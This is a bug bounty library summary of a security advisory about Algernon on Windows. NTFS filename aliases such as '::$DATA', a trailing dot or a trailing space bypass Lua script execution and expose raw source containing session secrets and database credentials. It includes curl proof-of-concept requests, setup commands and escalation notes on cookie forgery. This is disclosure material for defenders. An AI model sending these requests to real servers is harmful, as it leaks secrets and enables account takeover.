# Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename

Algernon on Windows dispatches handlers by filepath.Ext, so NTFS aliases like index.lua::$DATA bypass script execution and leak raw Lua source with secrets.

- Payout: Research
- Severity: high
- Program: Algernon
- Found by: Dredsen
- Disclosed: 2026-07-02
- CVE: CVE-2026-52792
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mm6c-5j6x-hq8m
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mm6c-5j6x-hq8m
- Tags: area:oss domain:oss impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:go tech:windows technique:source-review vuln:auth-bypass vuln:info-disclosure vuln:path-traversal

**Target:** Algernon HTTP file handler on Windows/NTFS
**Root cause:** Handler selection uses filepath.Ext on the raw request filename; NTFS-equivalent forms (::$DATA, trailing dot, trailing space) don't match .lua/.tl, so control falls to the default raw-file branch that os.Open resolves back to the real script.
**Steps:**
1. Build Algernon v1.17.8 on Windows and serve a webroot containing index.lua with SetCookieSecret and a DB DSN, using `--nodb`.
2. Request `http://127.0.0.1:8088/index.lua` normally: script executes, source hidden.
3. Request `curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'`: HTTP 200 application/octet-stream with verbatim source.
4. Same leak via `index.lua.` and `index.lua%20` (trailing space).
**How found:** Noticed filepath.Ext does exact suffix matching while NTFS canonicalises alternate data streams, trailing dots and trailing spaces to the same file, then traced the default branch to os.Open streaming raw bytes.
**Exploitation:** Unauthenticated attacker appends `::$DATA`, `.`, or `%20` to any public-path server-side script on a Windows host; NTFS canonicalises the name, os.Open returns the real file bytes, and the response streams raw source. Disclosed SetCookieSecret allows forging session cookies for any user.
**Escalation:** Leaked SetCookieSecret enables session cookie forgery and account takeover; leaked DB credentials extend to backend access.
**Insight:** On Windows targets, test every extension-dispatch endpoint with NTFS aliases (`::$DATA`, trailing dot, trailing space) — any handler that keys off the literal filename string but opens the file via the OS will diverge and serve raw content.

## Proof of concept (copied exactly from the original report)

**curl request leaking Lua source via ::$DATA**

```
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'

   Expected: HTTP 200, `Content-Type: application/octet-stream`, body is the verbatim Lua source including `SetCookieSecret("hardcoded-session-key")` and the Postgres DSN.
```

**Trailing-dot and trailing-space leak requests**

```
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'
   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'

   Expected: identical raw-source response for both.
```

**Setup: secret-bearing Lua script and server launch**

```
New-Item -ItemType Directory webroot | Out-Null
   Set-Content webroot\index.lua @'
   -- db = POSTGRES("postgres://app:S3cr3t@db/prod")
   SetCookieSecret("hardcoded-session-key")
   print("<h1>hello</h1>")
   '@

3. Serve the directory over plain HTTP with no auth backend (run in its own window):

   .\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot
```